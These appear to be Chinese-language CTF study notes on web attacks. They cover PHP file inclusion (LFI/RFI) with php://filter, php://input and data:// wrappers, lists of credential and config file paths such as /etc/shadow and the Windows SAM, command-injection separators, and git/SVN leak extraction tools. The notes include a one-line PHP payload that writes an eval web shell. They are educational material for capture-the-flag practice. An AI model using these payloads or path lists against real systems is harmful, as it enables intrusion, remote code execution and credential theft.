Web信息泄露
php文件包含漏洞
1.重要函数:
require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。 2.一些常见的敏感信息路径:
Windows系统:
c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息
Linux/Unix系统: /etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件
本地文件包含LFI
利用技巧 一. php伪协议利用
- 读取网页源码,需要开启allow_url_fopen,不需要开启allow_url_include
index.php?page=php://filter/read=convert.base64-encode/resource=xxx.php - 接收post文件,需要执行的内容放到post中 仅需要开启allow_url_include
index.php?php://input
木马命令:
<?php fputs(fopen('shell.php','w'),'<?php@eval($_POST[1]);?>');?>
- ?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_open 和 allow_url_include
[BJDCTF2020]ZJCTF,不过如此
知识点 本地文件包含伪协议
远程文件包含
形式:
http://192.168.198.163/contain/LFI/index.php?page=http://192.168.198.153/today.txt
命令执行
应用程序有时需要调用一些执行系统命令的函数,如在php中,使用system、exec、shell_exec\passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令上中,从而造成命令执行攻击,这就是命令执行漏洞。 command1 && command2 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2 command1 & command2 先执行Command 1,不管是否成功,都会执行Command 2 command1 | command2 只执行command2 command 1 || command2 只执行正确的命令
一. windows命令执行
Git泄露
Githack使用: python2 githack.py ‘url’
git log 查看历史记录
git reset 切换版本
git dirr 对比两次提交
git stash list 查看当前存储在栈中的内容
git stash pop 弹出当前存储在栈中的内容
使用githack获取.git文件,进入文件保存的目录。 执行ls -al查看文件 进入目录获取文件。
SVN泄露
dvcs-ripper使用:url后面带.svn
perl rip-svn.pl -v -u http://challenge-425acb01b16ebe9b.sandbox.ctfhub.com:10080/.svn/
网站源码
gedit备份文件 vim 备份文件
|